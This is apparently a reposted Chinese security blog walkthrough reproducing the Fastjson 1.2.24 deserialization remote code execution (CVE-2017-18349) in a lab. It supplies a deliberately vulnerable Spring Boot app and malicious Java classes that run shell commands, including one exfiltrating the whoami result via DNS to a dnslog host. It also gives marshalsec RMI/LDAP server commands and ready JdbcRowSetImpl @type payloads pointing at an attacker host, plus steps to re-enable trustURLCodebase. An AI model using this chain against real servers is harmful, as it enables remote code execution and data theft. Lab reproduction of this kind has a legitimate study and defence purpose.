虽然fastjson漏洞复现是老生常谈的问题了,并且fastjson1.2.24是5年前的漏洞,但是笔者写这篇的时候发现网上的资料比较零散而且有些讲的不是很远离,为了更详细、更全面的介绍该漏洞复现,还是想整理一下。
目录结构:
一、概述
漏洞编号:CVE-2017-18349
影响版本:1.2.24版本及之前
Fastjson 是一个 Java 库,可用于将 Java 对象转换为其 JSON 表示形式。它还可用于将 JSON 字符串转换为等效的 Java 对象。Fastjson 可以处理任意 Java 对象,包括您没有源代码的现有对象。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
二、复现过程
为了更好的理解fastjson反序列化漏洞利用的整个逻辑,画了一个架构图:
要想复现fastjson1.2.24的反序列化漏洞,主要是三部份:
-
搭建fastjson1.2.24的靶场
-
构造静态恶意类,并放到http服务器上
-
部署rmi/ldap服务器
1、搭建fastjson1.2.24的靶场
这里可以选择vulhub现成的靶场:
fastjson靶场 https://vulhub.org/#/environments/fastjson/1.2.24-rce/
当然也可以自己写一个springboot项目,这样更好的理解fastjson的工作机制。最终项目结构如下:
1)启动类代码
package com.nvyao.bootfastjson;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class BootFastjsonApplication {
public static void main(String[] args) {
/*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");*/
SpringApplication.run(BootFastjsonApplication.class, args);
}
}
2)controller接口代码
package com.nvyao.bootfastjson.controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.nvyao.bootfastjson.bean.Result;
import com.nvyao.bootfastjson.bean.User;
import com.sun.rowset.JdbcRowSetImpl;
import org.springframework.web.bind.annotation.*;
public class FastJsonController {
public Result test1( String data){
User user = JSON.parseObject(data, User.class);//无法rce
String result1 = String.format("/fastjson1接口执行结果:n -- Class:%s | Result:%s", data.getClass(), data);
System.out.println(result1);
String result2 = String.format("/fastjson1接口执行结果:n -- Class:%s | Result:%s", user.getClass(), user);
System.out.println(result2);
return Result.success(user);
}
public Result test2( String data){
JdbcRowSetImpl jdbcRowSet = JSON.parseObject(data, JdbcRowSetImpl.class);
System.out.println(jdbcRowSet);
String result1 = String.format("/fastjson2接口执行结果:n -- Class:%s | Result:%s", data.getClass(), data);
System.out.println(result1);
String result2 = String.format("/fastjson2接口执行结果:n -- Class:%s | Result:%s", jdbcRowSet.getClass(), jdbcRowSet);
System.out.println(result2);
return Result.error("parseObject失败~");
}
public Result test3( String data){
Object parse = JSON.parse(data); //会调用set方法
String result1 = String.format("/fastjson3接口执行结果:n -- Class:%s | Result:%s", data.getClass(), data);
System.out.println(result1);
String result2 = String.format("/fastjson3接口执行结果:n -- Class:%s | Result:%s", parse.getClass(), parse); //不会调用get方法
System.out.println(result2);
System.out.println("====================================================================================");
return Result.success(parse); //会调用get方法,因为这里识别到是User类
}
public Result test4( String data){
JSONObject jsonObject = JSON.parseObject(data); //会调用set方法
String result1 = String.format("/fastjson4接口执行结果:n -- Class:%s | Result:%s", data.getClass(), data);
System.out.println(result1);
String result2 = String.format("/fastjson4接口执行结果:n -- Class:%s | Result:%s", jsonObject.getClass(), jsonObject); //会调用get方法
System.out.println(result2);
System.out.println("====================================================================================");
return Result.success(jsonObject); //这行不会调用get方法,因为这里识别到不是User类而是JSONObject类
}
}
3)实体类
// User实体类
package com.nvyao.bootfastjson.bean;
import java.io.Serializable;
public class User {
private String name;
private Integer age;
private String id_card;
public String getName() {
System.out.println("getName被执行~~");
return name;
}
public void setName(String name) {
System.out.println("setName被执行~~");
this.name = name;
}
public Integer getAge() {
System.out.println("getAge被执行~~");
return age;
}
public void setAge(Integer age) {
System.out.println("setAge被执行~~");
this.age = age;
}
public String getId_card() {
System.out.println("getId_card被执行~~");
return id_card;
}
public void setId_card(String id_card) {
System.out.println("setId_card被执行~~");
this.id_card = id_card;
}
@Override
public String toString() {
return "User{" +
"name='" + name + ''' +
", age=" + age +
", id_card='" + id_card + ''' +
'}';
}
}
// Result响应包封装类
package com.nvyao.bootfastjson.bean;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Result {
private Integer code; //响应码,1 代表成功;0 代表失败
private String msg; //响应信息,描述字符串
private Object data; //返回的数据
//增删改的成功响应方法
public static Result success(){
return new Result(1, "success", null);
}
//查询成功响应的方法
public static Result success(Object data){
return new Result(1, "success", data);
}
//失败响应,失败响应必须指定msg
public static Result error(String msg){
return new Result(0, msg, null);
}
}
4)pom文件引入fastjson 1.2.24
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.nvyao</groupId>
<artifactId>boot-fastjson</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>boot-fastjson</name>
<description>boot-fastjson</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!--fastjson 1.2.24漏洞-->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
5)启动springboot项目,测试controller相关接口
通过postman给 /fastjson1接口发送测试包
public Result test1( String data){
User user = JSON.parseObject(data, User.class);//无法rce
String result1 = String.format("/fastjson1接口执行结果:n -- Class:%s | Result:%s", data.getClass(), data);
System.out.println(result1);
String result2 = String.format("/fastjson1接口执行结果:n -- Class:%s | Result:%s", user.getClass(), user);
System.out.println(result2);
return Result.success(user);
}
{
"name": "zhangsan",
"age": 18
}
2、构造静态恶意类,并放到web服务器上
1)执行命令类
静态恶意类,可以是弹calc、写文件、执行命令等。例如:以下静态类是通过执行命令查询dnslog回显。
import java.lang.Runtime;
import java.lang.Process;
public class dnslog {
static {
try {
Runtime runtime = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "ping `whoami`.fkw0wg.dnslog.cn"};
Process process = runtime.exec(commands);
process.waitFor();
}catch (Exception e){
//do nothing
}
}
}
然后javac编译:
然后本地通过python启一个简易的web服务器,并将刚刚编译好的恶意类class文件放在web上
这里笔者复现的时候踩坑了,恶意类一开始写了:package
package com.nvyao.bootfastjson.staticClass;
import java.lang.Runtime;
import java.lang.Process;
public class Dnslog {
static {
try {
Runtime runtime = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "ping `whoami`.qtcgqr.dnslog.cn"};
Process process = runtime.exec(commands);
process.waitFor();
}catch (Exception e){
//do nothing
}
}
}
编译的时候也可以编译成功,但是后来死活复现失败,查到资料解释是:
在Java代码文件中,packagexxx;语句用于声明当前代码所属的包(package)。一个Java项目通常由多个包组成,每个包下包含一组相关的类文件。
对于你提供的两种情况,在RMI调用远程类时,成功调用的是第二种情况,即没有packagecom.nvyao.bootfastjson.staticClass;语句的情况。这是因为RMI远程调用是基于类路径(classpath)进行的,而packagexxx;语句会影响类的完全限定名称(fully qualified name),从而影响类的路径查找。
当你使用packagecom.nvyao.bootfastjson.staticClass;语句声明包时,编译器会将类编译到对应的包路径下,例如com/nvyao/bootfastjson/staticClass/Dnslog.class。在RMI调用时,如果没有正确配置类路径,远程调用无法找到该类。
而在第二种情况,由于没有package语句,编译器会将类编译到默认的包路径下,例如Dnslog.class。由于默认包路径下的类在类路径中更容易找到,所以可以成功进行RMI调用。
为了能够成功进行RMI调用,你需要确保配置了正确的类路径,使得远程调用可以找到所需的类。这包括将包路径正确地添加到类路径中,以及确保远程调用端能够访问到相应的类文件。
需要注意的是,为了避免类名冲突和代码组织的规范性,通常建议在Java代码中使用package语句来声明包。
希望这解释清楚了packagexxx;语句的作用以及为什么第二种情况能够成功进行RMI调用。如果还有任何疑问,请随时提问。
2)弹calc计算器
方式一:
import java.lang.Runtime;
import java.lang.Process;
public class evilcalc {
public evilcalc (){
try{
Runtime.getRuntime().exec("open -a Calculator");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
evilcalc e = new evilcalc();
}
}
方式二:推荐
import java.lang.Runtime;
import java.lang.Process;
public class evilcalc {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
}catch (Exception e){
e.printStackTrace();
}
}
}
3)写文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch","/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e){
//do nothing
}
}
}
3、部署rmi/ldap server
Java Unmarshaller Security - Turning your data into code execution https://github.com/mbechler/marshalsec
1)下载marshalsec项目源码
https://github.com/mbechler/marshalsec.git
2)maven编译打包
mvn clean package -DskipTests
3)借助marshalsec项目启动RMI/LDAP服务器
java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
4)完整命令
RMI服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.225.66.79:8080/#dnslog" 9999
RMI服务器监听端口:9999
指定加载远程类:http://10.225.66.79:8080/#dnslog //这里就会去上面python简易web服务器找dnslog.class恶意类
LDAP服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.225.66.79:8080/#evilcalc" 9999
使用marshalsec搭建LDAP服务和RMI服务就一处不同。
4、最终复现
1)RMI方式
启动python web:
启动rmi服务器:
启动fastjson靶场:
postman提交poc请求:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.225.66.79:9999/dnslog",
"autoCommit":true
}
执行后:
dnslog平台收到了dns记录,并且记录了whoami当前用户信息:
2)LDAP方式
启动python web:
启动ldap服务器:
启动fastjson靶场:
postman提交poc请求:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.225.66.79:9999/evilcalc",
"autoCommit":true
}
最终实现了弹出计算器的效果:
三、Q & A
1、什么是com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.rmi.object.trustURLCodebase 是一个系统属性,用于控制 RMI 的 URL Codebase 的信任级别。
当该属性被启用时,RMI 将信任 URL Codebase 中指定的类的位置,并将其作为 RMI 远程引用的可信来源。
然而,这种信任机制存在安全风险,因此在新的 JDK 版本中默认情况下将其关闭。
需要注意的是,这个属性是非标准的,它位于 com.sun.jndi.rmi.object 包下,属于 JDK 的内部实现。在编写应用程序时,不建议直接依赖于该属性,因为它可能会随着 JDK 版本的变化而改变。
如果你需要在 JDK 8u121 或更高版本中启用 com.sun.jndi.rmi.object.trustURLCodebase,可以通过设置系统属性来实现,例如:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
这样可以将其设置为启用状态。但请注意,启用此属性可能会带来安全风险,因此应该谨慎使用,并在确保代码的安全性的前提下进行评估和测试。
请记住,以上信息适用于 JDK 8 版本。对于其他 JDK 版本,可能会有不同的默认配置和属性行为。
2、什么版本开始默认关闭com.sun.jndi.rmi.object.trustURLCodebase
从 JDK 6u141/7u131/8u121 开始,默认情况下关闭com.sun.jndi.rmi.object.trustURLCodebase属性。
所以如果是JDK1.8 121及以上版本,默认情况下是无法复现的,因为RMI 不会信任 URL Codebase 中指定的类的位置,不会将其作为 RMI 远程引用的可信来源。如果想要复现,需要修改代码,强制开启两个属性:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
2、什么版本开始默认关闭com.sun.jndi.ldap.object.trustURLCodebase
从 JDK 6u201/7u191/8u182 开始,默认情况下关闭com.sun.jndi.ldap.object.trustURLCodebase属性。
3、oracle jdk官方的jdk1.8版本都是最新版本,请问如何下载jdk1.8的早期版本
Oracle JDK历史版本 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
4、系统性学习fastjson漏洞
参考:
https://www.freebuf.com/vuls/208339.html
https://www.freebuf.com/vuls/279465.html
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
https://github.com/mbechler/marshalsec
原文始发于微信公众号(安全随笔):FastJson1.2.24复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论